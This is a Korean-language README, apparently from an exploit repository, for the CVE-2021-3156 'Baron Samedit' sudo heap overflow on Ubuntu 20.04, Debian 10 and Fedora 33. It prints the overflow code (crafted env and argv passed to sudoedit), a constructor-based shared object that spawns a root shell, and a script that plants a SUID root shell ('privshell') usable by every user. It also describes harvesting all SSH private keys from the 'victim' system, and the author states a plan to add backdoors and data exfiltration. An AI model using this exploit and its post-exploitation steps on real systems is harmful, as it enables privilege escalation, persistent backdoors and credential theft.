
CVE-2021-3156을 이용한 Ubuntu 20.04 익스플로잇, 포스트 익스플로잇 스크립트로 강화됨
Ubuntu 20.04용 CVE-2021-3156 익스플로잇, 간단하고 자동화된 사후 침투 스크립트로 향상됨
루트 셸 외에도 다음을 얻을 수 있습니다:
-서버에 구성된 모든 id_rsa SSH 키가 포함된 .txt 파일. 스크립트 참조: get_all_ssh_keys.sh
-모든 사용자가 루트 셸을 시작할 수 있는 privshell 실행 파일 (gcc 오류 수정 중). 스크립트 참조: create_privshell.sh
성공적인 결과를 얻으려면 피해자 시스템이 다음 OS 및 Sudo 버전 중 하나를 사용해야 합니다:
-Ubuntu 20.04 (Sudo 1.8.31)
-Debian 10 (Sudo 1.8.27)
-Fedora 33 (Sudo 1.9.2)

내 VM을 취약하게 만들기 위해 다음 명령으로 sudo 버전을 다운그레이드했습니다:
$ sudo apt install sudo=1.8.31-1ubuntu1
익스플로잇은 상당한 권한이 없는 사용자로 피해자 시스템에 접근할 수 있는 한 작동합니다.

저장소를 피해자 시스템 또는 로컬 시스템에 클론하고 wget으로 로드할 수 있습니다.

"make" 명령을 실행하여 취약점에 따라 .c 파일을 컴파일하세요.

익스플로잇 파일을 얻을 수 있으므로 "./"로 실행할 수 있습니다. 익스플로잇을 실행하면 저장소에 두 개의 파일이 생성되는데, 하나는 시스템에 등록된 모든 SSH 키를 보유하고 다른 하나는 모든 사용자에게 루트 세션을 허용하는 SUID 실행 파일입니다. (보라색으로 강조됨)

다음과 같은 오류가 발생할 수 있습니다:

아직 이 오류를 해결하려고 노력 중이지만, 익스플로잇을 생성하는 셸 문제라고 생각합니다. 적절한 권한을 가진 사용자로 sudo su를 통해 루트로 접속하여 ./create_privshell.sh 명령을 실행해 보았고 스크립트 컴파일은 정상이었습니다. 또는 다른 시스템에서 컴파일하여 피해자에게 복사할 수 있으므로 wget 요청이 존재하는 것입니다.
컴파일할 스크립트는 다음과 같습니다:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
이제 모든 SSH 키가 포함된 .txt 파일을 읽고 gcc 오류를 수정할 때까지 privshell을 사용할 수 있습니다.

Qualys에 의해 발견됨
CVSS 점수 7.8
CVE-2021-3156는 "Baron Samedit" 취약점이라고도 알려져 있으며, Unix 기반 운영 체제에서 널리 사용되는 sudo 프로그램에 영향을 미치는 보안 취약점입니다. Sudo는 사용자가 일반적으로 자신의 비밀번호나 루트 비밀번호를 입력하여 상승된 권한으로 명령을 실행할 수 있도록 하는 프로그램입니다. 이 취약점은 사용자가 상승된 권한으로 파일을 편집할 수 있게 해주는 sudo 명령의 "sudoedit" 기능에서 버퍼 오버플로 문제로 인해 발생합니다. 이 취약점은 2021년 1월 Qualys Research Labs에 의해 처음 발견되었으며, sudo 버전 1.8.2 ~ 1.8.31p2 및 1.9.0 ~ 1.9.5p1에 영향을 미칩니다.
###매우 매우 기술적인 세부 사항 정보 출처: Qualys



즉, set_cmnd()는 "user_args" 버퍼에 복사되는 범위를 벗어난 문자들이 해당 버퍼의 크기(852-853줄에서 계산됨)에 포함되지 않았기 때문에 힙 기반 버퍼 오버플로우에 취약합니다.
오버플로 부분에는 redhawkeye/sudo-exploit의 exploit.c 파일을 사용했습니다.
약간 복잡하지만 쉽게 해석할 수 있습니다.
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
이 부분은 execve 시스템 호출에 전달될 환경 변수 배열 env를 선언합니다. 환경 변수에는 일련의 백슬래시와 "C.UTF-8@"에 208(0xd0)개의 'A' 문자가 연결된 특수하게 조작된 LC_ALL 변수가 포함되어 있습니다. C.UTF-8@ 값은 sudoedit 명령에 LC_ALL 환경 변수로 전달됩니다. 208개의 'A' 문자는 sudoedit 프로그램의 버퍼를 오버플로하고 임의 코드를 실행하는 데 사용됩니다.
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
이 부분은 112(0x70)개의 'A' 문자 뒤에 백슬래시가 있는 문자열 a를 선언합니다. 그런 다음 execve에 전달될 배열 argv를 선언합니다. 배열에는 sudoedit 명령(/usr/bin/sudoedit)의 경로, -s 플래그 및 위에서 생성된 a 변수가 포함됩니다.
execve(argv[0], argv, env);
이것은 제공된 인수와 환경 변수를 사용하여 sudoedit 명령을 실제로 실행하는 execve 시스템 호출입니다. sudoedit 프로그램은 LC_ALL 환경 변수를 읽고 이를 파일 경로로 구문 분석하려고 시도합니다. 넘치는 'A' 문자는 메모리에 임의의 데이터를 쓰고 잠재적으로 임의의 코드를 실행하는 데 사용됩니다.
따라서 RCE를 위해 예약된 메모리의 이 데이터는 shell_tool.c 파일에서 사용됩니다.
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");
이 코드 부분은 attribute((constructor)) 속성을 가진 sice 함수를 선언하므로, main()이 실행되기 전에 프로그램 시작 시 자동으로 호출됩니다. sice 함수 내에서 setuid(0) 함수가 호출되어 프로세스의 유효 사용자 ID를 0(슈퍼유저 또는 루트의 사용자 ID)으로 설정합니다. 이는 프로그램에 루트 권한을 효과적으로 부여합니다. 그 후, system("command") 인수를 사용하여 루트 셸이 터미널에 나타나기 전에 원하는 모든 작업을 수행할 수 있습니다. 그래서 루트 셸을 얻기 전에 몇 가지 백도어와 데이터를 유출하기 위해 스크립팅을 시도하려고 했습니다.
mybufferof.c라는 자체 버전의 코드를 작성하려고 했습니다. 기본적으로 매우 유사하므로 Makefile을 수정하여 테스트해 보세요. ㅎㅎ
all:
gcc bufferof.c -o exploit
mkdir libnss_X
gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
먼저 익스플로잇을 컴파일하고 "libnss_X" 디렉토리를 생성해야 합니다. 그런 다음 마지막 명령이 shell_tool.c 파일을 컴파일하고 libnss_X 디렉토리에 X.so.2라는 공유 객체 파일을 생성합니다:
-g 플래그는 공유 객체 파일에 대한 디버그 정보를 생성합니다.
-fPIC 플래그는 공유 객체에 대한 위치 독립 코드를 생성합니다.
-shared 플래그는 공유 객체 파일을 생성하도록 지정합니다.
결과 공유 객체 파일 X.so.2는 두 번째 단계에서 생성된 libnss_X 디렉토리에 배치됩니다.
이것은 CVE에서 중요합니다. 이유는 다음과 같습니다:

데이터 출처:Qualys
이게 전부입니다. 즐기세요, 아마도.